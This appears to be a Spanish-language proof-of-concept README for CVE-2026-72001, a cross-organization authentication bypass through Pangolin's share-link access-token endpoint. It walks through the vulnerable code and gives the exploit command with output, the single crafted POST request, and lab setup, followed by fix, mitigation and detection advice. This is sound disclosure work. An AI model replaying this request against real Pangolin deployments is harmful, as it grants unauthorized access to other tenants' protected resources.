PoC para CVE-2026-72001 — Pangolin < 1.22.0 omisión de autenticación de recursos entre organizaciones a través del endpoint de token de acceso de enlace compartido (CWE-639, CVSS 8.1).
Prueba de concepto para CVE-2026-72001, una falla de autorización a nivel de objeto roto en
Pangolin (< 1.22.0) que permite al poseedor de un
enlace para compartir de un recurso generar una sesión de recurso válida para cualquier otro recurso de la
instancia, incluidos recursos propiedad de una organización diferente, omitiendo todos los
métodos de autenticación configurados (SSO, contraseña de recurso, PIN, lista de correos permitidos, autenticación por encabezado).
| CVE | CVE-2026-72001 |
| Producto | fosrl/pangolin |
| Afectado | < 1.22.0 |
| Corregido | 1.22.0 |
| Clase | Omisión de autorización mediante clave controlada por el usuario (CWE-639) |
| CVSS 3.1 | 8.1 (ALTO) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Autenticación | El atacante solo necesita un token de enlace para compartir válido para cualquier recurso |
| Veredicto | VULNERABLE CONFIRMADO (de extremo a extremo, aplicación de badger valid:true) |
El endpoint de autenticación de enlaces para compartir POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) tiene dos ramas. Cuando la solicitud
lleva un accessTokenId, valida el token pero olvida vincular esa verificación al
recurso en la URL:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken solo aplica el vínculo con el recurso si recibe resourceId:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Debido a que el manejador nunca reenvía resourceId, la protección se omite: el token se
valida contra su propio recurso, mientras que la sesión se genera para el recurso nombrado
en la URL. Luego se crea una sesión (token de solicitud de badger) para el recurso víctima:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
La ruta reside en el router no autenticado (unauthenticated.use("/auth", authRouter))
y no tiene limitación de tasa (a diferencia de las rutas de autenticación hermanas de contraseña/pincode/lista blanca).
El middleware CSRF solo verifica un encabezado constante estático (X-CSRF-Token: x-csrf-protection).
Corrección (1.22.0): el manejador reenvía resourceId a verifyResourceAccessToken, por lo que la
protección de discrepancia se activa y las solicitudes entre recursos devuelven 401 "Resource ID does not match".
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
La única solicitud vulnerable es:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access además intercambia el token de solicitud devuelto en el endpoint de
aplicación de badger (/badger/exchange-session → /badger/verify-session) — la misma ruta
que consulta Traefik — para demostrar acceso real, no solo una cadena devuelta. En una implementación en vivo, el
atacante simplemente presenta el token de solicitud al recurso y Traefik/badger lo intercambian automáticamente.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
Consulte lab/setup.sh, ANALYSIS.md y
evidence/ para el recorrido completo y el límite entre vulnerable y parcheado.
En cualquier instancia de Pangolin multiinquilino / multiorganización (autoalojada con varias organizaciones, MSP o una implementación alojada), un actor que pueda obtener un único enlace para compartir — uno que se le haya dado legítimamente, uno que se haya filtrado o uno que emita por sí mismo en cualquier recurso que controle — lee y actúa como el recurso protegido de cualquier otro inquilino. La confidencialidad e integridad de cada recurso protegido en la instancia quedan comprometidas (CVSS C:H/I:H).
Actualice a Pangolin ≥ 1.22.0. La corrección vincula la verificación del token de acceso al id del recurso de la URL. Ninguna solución de configuración mitiga completamente < 1.22.0; restrinja la emisión de enlaces para compartir recursos y rote los tokens de acceso existentes después de actualizar.
Busque POST /api/v1/auth/resource/<id>/access-token donde el accessTokenId presentado
pertenezca a un recurso cuyo id ≠ <id> (uso de token entre recursos), y solicitudes de autenticación con token de acceso
que lleguen con un volumen alto (la ruta no tiene limitación). Las entradas de logAccessAudit
mostrarán una acción accessToken cuyo token de organización difiere de la organización del recurso.
Descubierto / analizado y PoC por BiiTts (Caio Fabrício). Vulnerabilidad reportada por VulnCheck; aviso: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.